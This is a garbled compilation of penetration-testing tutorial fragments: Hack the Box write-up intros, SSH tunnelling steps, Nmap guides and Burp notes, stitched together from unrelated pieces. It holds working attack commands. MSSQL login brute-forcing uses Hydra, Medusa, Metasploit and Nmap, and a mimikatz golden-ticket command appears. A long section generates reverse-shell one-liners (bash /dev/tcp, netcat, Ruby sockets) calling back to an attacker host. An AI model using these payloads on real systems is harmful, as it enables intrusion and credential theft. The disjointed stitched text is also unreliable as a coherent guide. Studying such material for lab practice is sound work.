Hello friends!! Today we are going to solve another CTF challenge “Mirai” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Mirai lab.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Let’s Breach!!!
Lab IP: 10.10.10.48
Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.
nmap -p- -A 10.10.10.48 --open
1
nmap -p- -A 10.10.10.48 --open
Awesome!! Nmap has done a remarkable job by dumping the details of services running on open port 22 53, 80, 1031, 32400, 32469.

Without wasting time I used the dirb tool of Kali to enumerate the directories and found some important directories such as /admin/
dirb

[To see content please register here]

• OS: Windows 7 professional
  
• Computer name: haris-pc
  
• NetBIOS computer name haris-pc
  
• SMB version: 02
  

Hello friends!! Today we are going to solve another CTF challenge “Blocky ” which is available online for those who want to increase their skill penetration testing and black box testing. Blocky is a retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Blocky craft which is designed for beginners.
Since these labs are online available therefore they have static IP and IP of blocky is 10.10.10.37 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.37
1
nmap -sV 10.10.10.37
From the given below image, you can observe we found port 21, 22, 80 are open in the victim’s network.

Knowing port 80 is open in victim’s network I preferred to explore his IP in the browser but didn’t get any remarkable clue on its welcome page for the next step.

Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /phpmyadmin, /wp-admin, /plugin/files and etc which you can confirm from below image.
dirb

[To see content please register here]

• Download the HFS and run the application
  
• Now drag and drop the file you want to share through the web browser.
  

Hello friends! Today we are going to take another CTF challenge known as DerpNStink. The credit for making this vm machine goes to “Bryan Smith” and it is another capture the flag challenge in which our goal is to capture all the flags to complete the challenge. You can download this VM

[To see content please register here]

1. [ro]: Read Only Authorization (It can only be used to read or extract data, we can change it using this string)
   
2. [rw]: Read Write Authorization (It can be used to change the data using the string)
   

1. Dynamic SSH tunneling
   
2. Local SSH tunneling
   
3. Remote SSH tunneling
   

• Choose option SSH >Tunnel given in the left column of the category.
  
• Give new port forwarded as 7000 and connection type as dynamic and click on ADD at last.
  

• Select proxy type as SOCKS 5
  
• Give proxy hostname as 127.0.0.1 and port 7000
  
• Click on open to establish a connection.
  

• In your web browser “Firefox” go to option for general setting tab and open Network Proxy.
  
• Choose No Proxy
  
• Enable socksv5
  

• Use putty to connect SSH server (192.168.1.104) via port 22 and choose option SSH >Tunnel given in the left column of the category.
  

• Give new port forwarded as 7000 and connection type as local
  
• Destination address as 198.168.10.2:22 for establishing a connection with the specific client and click on ADD at last.
  
• Click on open when all things get set.
  

• Give hostname as localhost and port 7000 and connection type SSH.
  
• Click on open to establish a connection.
  

• Enter remote system IP 192.168.1.108
  
• Mention port 22
  
• Go to SSH>tunnel options
  

• Give new port forwarded as 7000 and connection type as Remote
  
• Destination address as 198.168.10.2:22for establishing a connection with the specific client and click on ADD at last.
  
• Click on open when all things get set.
  

In this article, we will learn how to gain control over our victim’s PC through 1433 Port use for MSSQL service. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Let’s start!!
Hydra
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, vnc, http, https, smb, several databases, and much more
Now, we need to choose a word list. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.
Run the following command
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.128 mssql
1
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.128 mssql
Here,
-P:  denotes path for the password list
-L: denotes path of the username text file (sa is default user of Mssql)
Once the commands are executed it will start applying the dictionary attack and so you will have the right password in no time. As you can observe that we had successfully grabbed the MSSQL password as apple@123456

Medusa
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, MSSQL, HTTP, IMAP, rlogin, SSH, Subversion, and MSSQL to name a few
Run the following command
medusa -h 192.168.1.128 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
1
medusa -h 192.168.1.128 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
Here,
-u: denotes username (sa is default user of Mssql)
-P:  denotes path for the password list
As you can observe that we had successfully grabbed the MSSQL password as apple@123456.

xHydra
This is the graphical version to apply dictionary attack via 1433 port to hack a system. For this method to work:
Enter xHydra in your Kali Linux terminal. And select Single Target option and their give the IP of your victim PC. And select MSSQL in the box against Protocol option and give the port number 1433 against the port option.

Now, go to Passwords tab and select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.

After doing this, go to the Start tab and click on the Start button on the left.
Now, the process of dictionary attack will start. Thus, you will attain the usernamea and password of your victim.

Metasploit
This module simply queries the MSSQL instance for a specific user/pass (default is sa with blank).
use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > set rhosts 192.168.1.128
msf auxiliary(scanner/mssql/mssql_login) > set user_file /root/Desktop/user.txt
msf auxiliary(scanner/mssql/mssql_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/mssql/mssql_login) > set stop_on_success true
msf auxiliary(scanner/mssql/mssql_login) > run
1
2
3
4
5
6
use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > set rhosts 192.168.1.128
msf auxiliary(scanner/mssql/mssql_login) > set user_file /root/Desktop/user.txt
msf auxiliary(scanner/mssql/mssql_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/mssql/mssql_login) > set stop_on_success true
msf auxiliary(scanner/mssql/mssql_login) > run
Awesome!! From given below image you can observe the same password: apple@123456 have been found by Metasploit.

Nmap
Given below command will attempt to determine username and password through brute force attack against MS-SQL by means of username and password dictionary.
nmap -p 1433 –script ms-sql-brute –script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.128
1
nmap -p 1433 –script ms-sql-brute –script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.128
In the specified image, you can observe that we had successfully retrieve credential for usersUsername: sa and password: apple@123456


Hello everyone, in this article we will have a look at the different parameters that are used together to make a timing template and how to use those parameters individually according to will.
Let’s Start!!
Nmap Timing Template
As we have seen that Nmap has multiple timing templates that can be used differently as according to the requirement. Click

[To see content please register here]

• Host-groups
  
• Rtt-timeouts
  
• Scan-delay
  
• Max-retires
  
• Min-rates
  
• Parallelism
  

• Numeric
  
• Alpha
  
• Alpha-numeric
  
• Loweralpha
  
• Loweralpha numeric
  
• Mixalpha
  
• Mixalpha-numeric
  
• Ascii -32-95
  
• Ascii -32-65-123-4
  
• Alpha-numeric-symbol32-space
  

• Use @ for lowercase alphabets
  
• Use , for uppercase alphabets
  
• Use % for numeric character
  
• Use ^ for special character symbol
  

• Hydra
  
• X-Hydra
  
• Medusa
  
• Ncrack
  
• Patator
  
• Metasploit
  

Hello friends!! Today you will learn how to spawn a TTY reverse shell through netcat by using single line payload which is also known as stagers exploit that comes in Metasploit.
Basically, there are two types of terminal TTYs and PTs. TTYs are Linux/Unix shell which is hardwired terminal on a serial connection connected to mouse or keyboard and PTs is sudo tty terminal, to get the copy of terminals on network connections via SSH or telnet.
Let’s start!!
Attacker: Kali Linux
Target: Ubuntu
Open the terminal in your Kali Linux and type msfconsole to load Metasploit framework, now search all one-liner payloads for UNIX system using search command as given below, it will dump all exploit that can be used to compromise any UNIX system.
search cmd/unix
1
search cmd/unix
From given below image you can observe that it has dumped all exploit that can be used to be compromised any UNIX system. In this tutorial, we are going to use some of the payloads to spawn a TTY shell.

Bash Shell
In order to compromise a bash shell, you can use reverse_bash payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.103 lport=1111 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.103 lport=1111 R
Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_bash
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 1111 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 67 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTy shell.

For example when the target will open
0<&121-;exec 121<>/dev/tcp/192.168.1.103/1111;sh <&121 >&121 2>&121>
1
0<&121-;exec 121<>/dev/tcp/192.168.1.103/1111;sh <&121 >&121 2>&121>
malicious code in terminal, the attacker will get a reverse shell through netcat.

nc -lvp 1111
1
nc -lvp 1111
As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell, now he can do whatever he wishes to do.
For example:
whoami: it tells you are the root user of the system you have compromised.

Netcat Shell
In order to compromise a netcat shell, you can use reverse_netcat payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.103 lport=2222 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.103 lport=2222 R
Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_netcat
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 2222 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 104 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

when the target will open
mkfifo /tmp/admoszx; nc 192.168.1.103 2222 0</tmp/admsozx | /bin/sh >/tmp/admson 2>&1; rm /tmp/admoszx )
1
mkfifo /tmp/admoszx; nc 192.168.1.103 2222 0</tmp/admsozx | /bin/sh >/tmp/admson 2>&1; rm /tmp/admoszx )
malicious code in terminal, the attacker will get a reverse shell through netcat.

nc -lvp 2222
1
nc -lvp 2222
As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell.

Perl shell
In order to compromise a Perl shell, you can use reverse_perl payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.103 lport=3333 R
1
msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.103 lport=3333 R
Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_perl
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 3333 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 232 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

Now again when the target will open malicious code in terminal, the attacker will get a reverse shell through netcat.

nc -lvp 3333
1
nc -lvp 3333
As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell. Here we found target IP address: 192.168.1.1106 by executing the ifconfig command in his TTY shell.

Python Shell
In order to compromise a python shell, you can use reverse_Python payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.103 lport=4444 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.103 lport=4444 R
Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_python
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 4444 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 533 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

Again when the target will open the following malicious code in his terminal, the attacker will get the reverse shell through netcat.

nc -lvp 4444
1
nc -lvp 4444
As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell, now he can do whatever he wishes to do.
For example:
ifconfig: it tells IP configuration of the system you have compromised.

Ruby Shell
In order to compromise a ruby shell, you can use reverse_ruby payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_ruby lhost=192.168.1.103 lport=5555 R
1
msfvenom -p cmd/unix/reverse_ruby lhost=192.168.1.103 lport=5555 R
Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_ruby
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 5555 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 131 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

Again when the target will open
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.103","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.103","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
malicious code in his terminal, the attacker will get a reverse shell through netcat.

nc -lvp 5555
1
nc -lvp 5555
As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell, now he can do whatever he wishes to do.
For example:
ifconfig: it tells IP configuration of the system you have compromised.

Netcat Gaping (Traditional)
In order to compromise a command shell, you can use reverse_netcat_gaping payload along msfvenom as given in below command.
msfvenom -p cmd/unix/reverse_netcat_gaping lhost=192.168.1.103 lport=6666 R
1
msfvenom -p cmd/unix/reverse_netcat_gaping lhost=192.168.1.103 lport=6666 R
Here we had entered the following detail to generate one-liner raw payload.
-p: type of payload you are using i.e. cmd/unix/reverse_netcat_gaping
lhost: listening IP address i.e. Kali Linux IP
lport: Listening port number i.e. 6666 (any random port number which is not utilized by other services)
R: Its stand for raw payload
As shown in the below image, the size of the generated payload is 533 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

In order to access /bin/sh shell of the target system for compromising TTY shell firstly, we had access PTs terminal  of the target through SSH and then paste the malicious code
nc 192.168.1.103 6666 -e /bin/sh
1
nc 192.168.1.103 6666 -e /bin/sh

nc -lvp 6666
1
nc -lvp 6666
From given below image you can observe that we had successfully access TTY shell of the target system.


In this article, we will learn how to gain control over our victim’s PC through 5432 Port use for Postgres service. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Table of Contents

• Hydra
  
• X-Hydra
  
• Medusa
  
• Ncrack
  
• Patator
  
• Metasploit
  

Hello friends, several times you might have used NMAP to performing Network scanning for enumerating active Port services of target machine but there are sometimes where we want to save the nmap scan. Nmap output scan is used to save the result of nmap scan in different formats.
Let’s Begin
Requirement
Attacker: Kali Linux
Target’s IP: 192.168.1.113
Normal Output Format
-oN <filespec> (normal output)
Nmap supports different formats for saving scan results. Depending on your needs, you can choose between a normal, XML, and grepable output. Normal mode saves the output as you see it on your screen, minus the runtime debugging information. This mode presents the findings in a well structured and easy-to-understand manner.
nmap 192.168.1.113 -oN /root/Desktop/nmap
1
nmap 192.168.1.113 -oN /root/Desktop/nmap

Now the scan is saved on desktop and we can access it using cat or text editor.
cat Desktop/nmap

XML Output Format
-oX <filespec> (XML output)
XML stands for Extensible Markup Language is a usually known, tree-structured file format supported by Nmap.To save the scan results to a file in the XML format; add the option -oX <filename>, as shown in the following command:
nmap -p80 192.168.1.113 -oX  ~/Desktop/nmap.xml
1
nmap -p80 192.168.1.113 -oX  ~/Desktop/nmap.xml

Nmap also consist of additional debugging information when you save the scan results in this format.
An XML file, when generated, will contain the following information:

• Host and port states
  
• Services
  
• Timestamps
  
• Executed command
  
• Nmap Scripting Engine output
  
• Run statistics and debugging information
  

• Host: This field is always included, and it consists of the IP address and reverse DNS name if available
  
• Status: This field has three possible values—Up, Down, or Unknown
  
• Ports: In this field, port entries are separated by a comma and a space character, and each entry is divided into seven fields by forward slash characters (/)
  
• Protocols: This field is shown when an IP protocol (-sO) scan is used
  
• Ignored: This field shows the number of port states that were ignored
  
• OS: This field is only shown if OS detection (-O) was used
  
• Seq Index: This field is only shown if OS detection (-O) was used
  
• IP ID Seq: This field is only shown if OS detection (-O) was used
  

• Source port sends SYN packet to the destination port
  
• Source port receives SYN, ACK packet from the destination port
  
• Source port sends RST packet to the destination port
  

• Source port sends SYN packet to the destination port
  
• Source port receives SYN, ACK packet from the destination port
  
• Source port sends ACK packet to the destination port
  
• Source port sends FIN, ACK packet to the destination port
  

misc:keleton
1
misc:keleton

• Run mimikatz with Administrator
  
• Start mimidrv service
  

1. Domain
   
2. SID
   
3. NTLM Hash
   

• Domain on my Server is Pavan.local
  
• Now to get SID we will use whoami /user command as shown in given below image.
  

kerberos::golden /domainAVAN.LOCAL /sid:S-1-5-21-1118594253-693012904-2765600535 /rc4:9a7a6f22651d6a0fcc6e6a0c723c9cb0 /user:hacker /id:500 /ptt
1
kerberos::golden /domainAVAN.LOCAL /sid:S-1-5-21-1118594253-693012904-2765600535 /rc4:9a7a6f22651d6a0fcc6e6a0c723c9cb0 /user:hacker /id:500 /ptt

• Burp Infiltrator
  
• Macros
  
• Burp Clickbandit
  

• Java, Groovy, Scala, or other JVM languages (JRE versions 1.4 – 1.8)
  
• C#, VB, or other .NET languages (.NET versions 2.0 and later)
  

• Fetching a page such as a user’s home page just to check whether the current session is still valid or not.
  
• By performing a login operation to obtain a new valid session.
  
• A token or nonce obtained can be used as a parameter in another request.
  

• + And – buttons are used to zoom in and out.
  
• The “toggle transparency” button allows you to show or hide the original page UI.
  
• The “reset” button restores the generated attack, as it was before any further clicks were made.
  
• The “save” button is used to save an HTML file containing the attack. This can be used as a real-world exploit as clickjacking vulnerability.
  
• You can use the keyboard arrow keys to reposition the attack UI over the original page UI, if not correctly aligned with the original page UI.
  

Hello friends, several times you might have used NMAP to performing Network scanning for enumerating active Port services of target machine but in some scenarios you don’t get simple message if a port open or close.
Let’s Begin
Requirement

• Attacker’s IP:  192.168.1.109 [Kali Linux]
  
• Target’s IP: 192.168.1.119 [Ubuntu]
  

1. Open:  This state means that an application on the target machine is listening for connections/packets on that port.
   
2. Closed: This state means ports have no application listening on them, though they could open up at any time.
   
3. Filtered: This state means that a firewall, filter, or other network obstacle is blocking the port so that Nmap cannot tell whether it is open or closed.
   
4. Unfiltered: ports are classified as unfiltered when they are responsive to Nmap’s probes, but Nmap cannot determine whether they are open or closed.
   
5. Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state.
   
6. Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state.
   

• Nmap sends SYN packet on port 80
  
• Nmap received SYN, ACK packet as response from port 80 which denotes port 80 is open.
  
• Nmap sends RST packet
  

• Nmap sends SYN packet on port 80
  
• Nmap received RST, ACK packet as response from port 80 which denotes port 80 is closed.
  

1. Probe the zombie’s IP ID and record it.
   
2. Forge a SYN packetfrom the zombie and send it to the desired port on the target. Depending on the port state, the target’s reaction may or may not cause the zombie’s IP ID to be incremented.
   
3. Probe the zombie’s IP ID again. The target port state is then determined by comparing this new IP ID with the one recorded in step 1.
   

• NEW – The connection has not yet been seen.
  
• RELATED – The connection is new, but is related to another connection already permitted.
  
• ESTABLISHED – The connection is already established.
  
• INVALID – The traffic couldn’t be identified for some reason.
  

• –limit – The maximum matching rate, given as a number followed by “/second”, “/minute”, “/hour”, or “/day” depending on how often you want the rule to match. If this option is not used and -m limit is used, the default is “3/hour”.
  

• ACCEPT – Accept the packet and stop processing rules in this chain.
  
• REJECT– Reject the packet and notify the sender that we did so, and stop processing rules in this chain.
  
• DROP– Silently ignore the packet, and stop processing rules in this chain.
  
• LOG– Log